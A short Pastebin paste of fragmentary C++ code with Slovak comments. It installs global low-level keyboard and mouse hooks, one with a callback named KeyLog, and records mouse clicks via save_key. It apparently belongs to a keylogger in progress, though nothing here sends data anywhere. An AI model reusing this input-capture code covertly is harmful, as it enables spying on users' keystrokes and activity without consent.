Guest User

Untitled

a guest
Jun 24th, 2018
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.99 KB | None | 0 0
  1. v maine:
  2. hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyLog, appInstance, 0);
  3.    mouseHook = SetWindowsHookEx(WH_MOUSE_LL, LowLevelMouseProc, appInstance, 0);
  4.    msgHook = SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,appInstance,0);
  5.  
  6. //Mouse hook callback function. tato funkcia ide, odchytava mysku
  7.  
  8. LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam){
  9.  
  10.  
  11.     if (nCode == HC_ACTION) {
  12.  
  13.     switch(wParam){
  14.     case WM_LBUTTONUP:
  15.     case WM_RBUTTONUP:
  16.     case WM_MOUSEWHEEL:
  17. #ifdef DEBUG
  18.         w->printText("Scrollovanie alebo klik myskou");
  19. #endif
  20.         w->save_key("MOUSE");
  21.         i++;
  22.         break;
  23.  
  24.     default: break;
  25.     }
  26.      }
  27.     return CallNextHookEx(mouseHook, nCode, wParam, lParam);
  28.  
  29. }
  30.  
  31. //tato nerobi ani kokot, nic sa nevypise NIKDY
  32. LRESULT CALLBACK CallWndProc( int nCode, WPARAM wParam, LPARAM lParam ) {
  33.     if (nCode == HC_ACTION) {
  34.         w->printText("heureka");
  35.     }
  36.     return CallNextHookEx(msgHook,nCode,wParam,lParam);
  37. }
Add Comment
Please, Sign In to add comment